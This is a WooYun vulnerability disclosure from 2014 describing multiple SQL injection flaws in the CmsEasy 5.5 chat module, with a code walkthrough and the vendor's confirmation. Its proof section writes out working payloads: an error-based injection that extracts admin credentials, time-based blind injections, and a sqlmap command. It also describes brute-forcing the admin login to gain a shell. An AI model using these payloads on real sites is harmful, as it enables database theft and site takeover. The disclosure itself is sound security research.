当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070827

漏洞标题:CmsEasy最新版5.5_UTF-8_20140802多处SQL注入

相关厂商:cmseasy

漏洞作者: xfkxfk

提交时间:2014-08-03 12:16

修复时间:2014-11-01 12:18

公开时间:2014-11-01 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-03: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商已经确认,细节仅向厂商公开
2014-08-06: 细节向第三方安全合作伙伴开放
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-11-01: 细节向公众公开

简要描述:

CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar
并且发布了补丁CmsEasy_for_Uploads_20140802.rar
然后,下载了个最新的包,看了下,发现一处问题
这个问题引发多处SQL注入。
另附:
还有一个问题就是可以进行暴力注入,然后进后台拿shell。

详细说明:

CmsEasy有一个客服聊天模块celive
这里/celive/live/目录下的四个文件header.php,index.php,mainbox.php,send.php
都存在同样的问题,这里拿header.php举例。
文件/celive/live/header.php

<?php
include('../include/config.inc.php');
include(CE_ROOT.'/include/celive.class.php');
$header = new celive();
$header->template();
$header->xajax_live();
$GLOBALS['template']->assign('ifexit','<script type="text/javascript">
function chat_unload()
{
if(event.clientX>document.body.clientWidth&&event.clientY<0||event.altKey)
{
xajax_EndChat();
}
}
</script>');
$GLOBALS['template']->assign('xajax_live',$xajax_live->getJavascript(''));
$GLOBALS['template']->assign('operatorname',$_SESSION['operatorname']);
$GLOBALS['template']->assign('dname',$_SESSION['dname']);
$GLOBALS['template']->display('header.htm');
?>


这里调用了xajax_live函数
文件/celive/include/celive.class.php

function xajax_live() {
if (!$this->xajax_live_flag) {
$this->xajax_live_flag=true;
include_once(dirname(__FILE__).'/xajax.inc.php');
include_once(dirname(__FILE__).'/xajax.class.php');
global $xajax_live;
$xajax_live=new xajax();
$xajax_live->setCharEncoding('utf-8');
$xajax_live->decodeUTF8InputOn();
$xajax_live->registerFunction('Request');
$xajax_live->registerFunction('Postdata');
$xajax_live->registerFunction('ChatHistory');
$xajax_live->registerFunction('LiveMessage');
$xajax_live->registerFunction('EndChat');
$xajax_live->registerFunction('GetAdminEndChat');
$xajax_live->processRequests();
}
}


这里调用了registerFunction函数跟进:
文件:/celive/include/xajax.class.php

function registerFunction($mFunction,$sRequestType=XAJAX_POST)
{
if (is_string($sRequestType)) {
return $this->registerExternalFunction($mFunction,$sRequestType);
}
if (is_array($mFunction)) {
$this->aFunctions[$mFunction[0]] = 1;
$this->aFunctionRequestTypes[$mFunction[0]] = $sRequestType;
$this->aObjects[$mFunction[0]] = array_slice($mFunction,1);
}
else {
$this->aFunctions[$mFunction] = 1;
$this->aFunctionRequestTypes[$mFunction] = $sRequestType;
}
}
function registerExternalFunction($mFunction,$sIncludeFile,$sRequestType=XAJAX_POST)
{
$this->registerFunction($mFunction,$sRequestType);
if (is_array($mFunction)) {
$this->aFunctionIncludeFiles[$mFunction[0]] = $sIncludeFile;
}
else {
$this->aFunctionIncludeFiles[$mFunction] = $sIncludeFile;
}
}


这里用来注册函数,然后进行一些变量赋值
最后调用了processRequests函数,主要来分析一下这个函数
还是在文件/celive/include/xajax.class.php:

function processRequests()
{
//初始化一堆变量
$requestMode = -1;
$sFunctionName = "";
$bFoundFunction = true;
$bFunctionIsCatchAll = false;
$sFunctionNameForSpecial = "";
$aArgs = array();
$sPreResponse = "";
$bEndRequest = false;
$requestMode = $this->getRequestMode();
if ($requestMode == -1) return;
//这两使用POST传入两个参数,一个xajax,代表函数名,一个xajaxargs,代表要传给xajax所代表的函数的参数,这个参数必须是一个数组,下面作分析
if ($requestMode == XAJAX_POST)
{
$sFunctionName = $_POST["xajax"];
if (!empty($_POST["xajaxargs"]))
$aArgs = $_POST["xajaxargs"];
}
else
{
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: ".gmdate("D, d M Y H:i:s") ." GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
$sFunctionName = $_GET["xajax"];
if (!empty($_GET["xajaxargs"]))
$aArgs = $_GET["xajaxargs"];
}
if ($this->bErrorHandler) {
$GLOBALS['xajaxErrorHandlerText'] = "";
set_error_handler("xajaxErrorHandler");
}
//这里的if没有进入不用管
if ($this->sPreFunction) {
if (!$this->_isFunctionCallable($this->sPreFunction)) {
$bFoundFunction = false;
$oResponse = new xajaxResponse();
$oResponse->addAlert("Unknown Pre-Function ".$this->sPreFunction);
}
}
//这里的if也没有进入,不用管
if (array_key_exists($sFunctionName,$this->aFunctionIncludeFiles))
{
ob_start();
echo $this->aFunctionIncludeFiles[$sFunctionName];//no input
include_once($this->aFunctionIncludeFiles[$sFunctionName]);
ob_end_clean();
}
//这里开始判断POST提交进来的xajax代表的函数是否在$this->aFunctions代表的上面所注册的函数中,如果不在则退出
//$sFunctionName为POST进来的函数名,$this->aFunctions为之前注册的6个函数
if ($bFoundFunction) {
$sFunctionNameForSpecial = $sFunctionName;
if (!array_key_exists($sFunctionName,$this->aFunctions))
{
//print_r($this->aFunctions);//registered function
if ($this->sCatchAllFunction) {
$sFunctionName = $this->sCatchAllFunction;
$bFunctionIsCatchAll = true;
}
else {
$bFoundFunction = false;
$oResponse = new xajaxResponse();
$oResponse->addAlert("Unknown Function $sFunctionName.");
}
}
}
//下面继续判断
if ($bFoundFunction)
{
//这里判断POST进来的函数的参数值aArgs中的内容
for ($i = 0;$i <sizeof($aArgs);$i++)
{
if (get_magic_quotes_gpc() == 1 &&is_string($aArgs[$i])) {
$aArgs[$i] = stripslashes($aArgs[$i]);
}
if (stristr($aArgs[$i],"<xjxobj>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]);
}
else if (stristr($aArgs[$i],"<xjxquery>") != false)
{
$aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]);
}
else if ($this->bDecodeUTF8Input)
{
$aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]);
}
}
//这里的if未进入,不用管
if ($this->sPreFunction) {
$mPreResponse = $this->_callFunction($this->sPreFunction,array($sFunctionNameForSpecial,$aArgs));
if (is_array($mPreResponse) &&$mPreResponse[0] === false) {
$bEndRequest = true;
$sPreResponse = $mPreResponse[1];
}
else {
$sPreResponse = $mPreResponse;
}
if ($bEndRequest) $oResponse = $sPreResponse;
}
//这里继续判断
if (!$bEndRequest) {
if (!$this->_isFunctionCallable($sFunctionName)) {
$oResponse = new xajaxResponse();//no inout
$oResponse->addAlert("The Registered Function $sFunctionName Could Not Be Found.");
}
//进入这里的else条件
else {
if ($bFunctionIsCatchAll) {
$aArgs = array($sFunctionNameForSpecial,$aArgs);
}
//这里真正的调用了POST进来的函数
$oResponse = $this->_callFunction($sFunctionName,$aArgs);//POST的内容进入这里
}
//下面的就不用管了
if (@is_string($sResponse)) {
$oResponse = new xajaxResponse();
$oResponse->addAlert("No XML Response Was Returned By Function $sFunctionName.\n\nOutput: ".$oResponse);
}
else if ($sPreResponse != "") {
$oNewResponse = new xajaxResponse($this->sEncoding,$this->bOutputEntities);
$oNewResponse->loadXML($sPreResponse);
$oNewResponse->loadXML($oResponse);
$oResponse = $sNewResponse;
}
}
}


从上面的分析得知,我们POST的内容已经进入了_callFunction函数
还是同一文件,来看看:

function _callFunction($sFunction,$aArgs)
{
if ($this->_isObjectCallback($sFunction)) {
$mReturn = call_user_func_array($this->aObjects[$sFunction],$aArgs);
}
else {
//进入else逻辑
//这里调用了POST传入的函数名,然后把POST的参数值传入该函数做参数,这里call_user_func_array的第二个参数的值必须为一个数组,这正是前面说的POST的内容到目前为止是一个数组
$mReturn = call_user_func_array($sFunction,$aArgs);
}
return $mReturn;
}


然后我们继续往下
现在来看看这里注册的函数:

Request
Postdata
ChatHistory
LiveMessage
EndChat
GetAdminEndChat


这里的6个函数使用了我们POST的内容的只有LiveMessage和GetAdminEndChat
来看看LiveMessage,文件/celive/include/xajax.inc.php:

function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = htmlspecialchars($a['name']);
$email = htmlspecialchars($a['email']);
$country = htmlspecialchars($a['country']);
$phone = htmlspecialchars($a['phone']);
$departmentid = htmlspecialchars($a['departmentid']);
$message = htmlspecialchars($a['message']);
$timestamp = time();
$ip = $_SERVER['REMOTE_ADDR'];
$sql = "INSERT INTO `chat` (`sessionid`,`name`,`email`,`phone`,`departmentid`,`message`,`timestamp`,`ip`,`status`) VALUES('" . $sessionid . "','" . $name . "','" . $email . "','" . $phone . "','" . $departmentid . "','" . $message . "','" . $timestamp . "','" . $ip . "','2')";
$db->query($sql);
$sql = "DELETE FROM `sessions` WHERE `id`='" . $sessionid . "'";
$db->query($sql);
$text = "<?php echo $lang[shout_success]?>\n";
$objResponse = new xajaxResponse('utf-8');
$objResponse->addAssign('content', 'innerHTML', $text);
$objResponse->redirect('../', 5);
return $objResponse;
}


这里的$a就是我们POST进来的$aArgs,这里取得是$a的元素进入了SQL
如这里的$a['email'],$a['email']等,所以我们在POST $aArgs时,必须是一个二维数组了。
再看看GetAdminEndChat函数:

function GetAdminEndChat($chatid) {
global $db;
$objResponse = new xajaxResponse('utf-8');
$sql = "SELECT `status` FROM `chat` WHERE `id`='" . $chatid . "'";
@$result = $db->query($sql);
if ($result[0]['status'] == 0) {
$objResponse->script("alert('<?php echo $lang[connection]?>');window.parent.close();");
}
return $objResponse;
}


这里$chatid进入了SQL,是一个一维数组
通过上面的分析得知,我们POST的内容进入了函数,进入了SQL
而且这个过程是没有过滤的,因为在celive模块,是一个独立的模块
没有使用全局的过滤,文件/celive/live/header.php中也没有引用全局过滤
最后进去SQL后,也是用celive自有的db模块,也没有过滤,最后导致SQL注入
最后在文件/celive/include/xajax.inc.php中的函数很多都存在注入
一部分是上面分析的6个,无需登录即可访问调用的函数
一部分是登陆后才能访问调用的函数,这些同样存在SQL注入问题,这里通过/celive/admin/live/header.php来进行调用:

include('../../include/config.inc.php');
include(CE_ROOT.'/include/admin/check.inc.php');
include(CE_ROOT.'/include/celive.class.php');
$admin_header = new celive();
$admin_header->template();
$admin_header->admin_xajax_live();


admin_xajax_live函数也是进行注册函数,然后通过POST传入参数,调用函数。

漏洞证明:

第一处SQL注入:

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#


如图证明:

111.png


第二处SQL注入:

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=GetAdminEndChat&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)#


这里会延迟10秒返回
因为无视任何防御,这里的user(),可以换位任何sql语句,通过盲注来注入数据
利用脚本还是很快的,或者使用SQLmap证明:

python sqlmap.py -u "http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/index.php?action=1" --data "xajax=GetAdminEndChat&xajaxargs[1]=1" -p "xajaxargs[1]" --dbms "mysql"


如图证明:

222.png


第三处SQL注入:
此处需要登录

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/admin/live/header.php
POST:
xajax=EndChats&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)#


第四处SQL注入:
此处需要登录

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/admin/live/header.php
POST:
xajax=AdminChatHistory&xajaxargs[1]=1' and if(mid(user(),1,1)='r',sleep(10),1)#


等等
第五处暴力注入:

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140802/celive/admin/login.php
POST:
submit=%E6%8F%90%E4%BA%A4&username=123&password=123&submit=+%E7%99%BB+%E9%99%86+


333.png


这里登陆时,没有验证码,没有次数限制等任何防暴力注入处理。
导致可以暴力注入,而且这里的用户必须是管理员。
所以可以进一步暴力注入后,进入后台,编辑模板处拿shell。

修复方案:

在xajaxargs,及这里传入的值进行过滤即可
或者调用全局的过滤即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-03 15:17

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-03 14:47 | Moo ( 路人 | Rank:8 漏洞数:3 | PS:不打脸,还要泡妞呢)

    审核找哪位。我晕

  2. 2014-11-01 21:35 | 1angxi ( 路人 | Rank:2 漏洞数:1 | 研究僧,安全新手,我只是来打酱油的...)

    代码审计哪家强